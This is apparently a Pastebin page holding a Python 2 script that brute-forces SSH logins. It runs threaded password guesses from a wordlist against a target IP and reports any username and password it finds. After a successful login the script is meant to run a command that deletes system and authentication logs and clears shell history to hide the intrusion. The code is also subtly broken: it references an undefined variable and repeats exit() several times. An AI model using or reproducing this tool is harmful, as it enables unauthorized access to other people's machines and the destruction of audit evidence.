Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import socket
- import paramiko
- import os
- import random
- import time
- from thread import *
- import colorama
- from colorama import Fore, Back, Style
- colorama.init()
- if len(sys.argv) != 6:
- print "USAGE: %s <target ip> <port> <user(default: root )> <wordlist_file> <thread>"%(sys.argv[0])
- exit()
- FLAG = ""
- JOBS = 0
- def trying_login(psswd,user,ip,port):
- global FLAG
- global JOBS
- cleanup_cmd = "rm -rf /var/log/syslog && rm -rf /var/log/wtmp && rm -rf /var/log/btmp && rm -rf /var/log/lastlog && rm -rf /var/log/auth.* && cat /dev/null > ~/.bash_history && history -c"
- loop = True
- while loop:
- try:
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.connect(ip, port = port,username = user,password = psswd,timeout = 10)
- ssh.exec_command(cmd)
- FLAG = "[+] FOUND: [ %s ] [ %s ]"%(user,psswd)
- ssh.close()
- loop = False
- except paramiko.ssh_exception.AuthenticationException:
- ssh.close()
- loop = False
- except paramiko.ssh_exception.NoValidConnectionsError:
- ssh.close()
- except paramiko.ssh_exception.SSHException:
- ssh.close()
- except socket.timeout:
- ssh.close()
- JOBS -= 1
- def bruter(f,threads,user,ip,port):
- global JOBS
- for i in f:
- line = i.strip("\n\r")
- loop = True
- while loop:
- if JOBS != threads:
- print "ssh:%s@%s:%s"%(user,ip,line)
- start_new_thread(trying_login,(line,user,ip,port,))
- JOBS += 1
- loop = False
- ip = sys.argv[1]
- port = int(sys.argv[2])
- user = sys.argv[3]
- file = sys.argv[4]
- threads = int(sys.argv[5])
- f = open(file,"r")
- start_new_thread(bruter,(f,threads,user,ip,port,))
- time.sleep(5)
- while True:
- if FLAG != "":
- print FLAG
- exit()
- exit()
- exit()
- exit()
- exit()
- exit()
- exit()
- exit()
- exit()
- elif JOBS == 0:
- break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement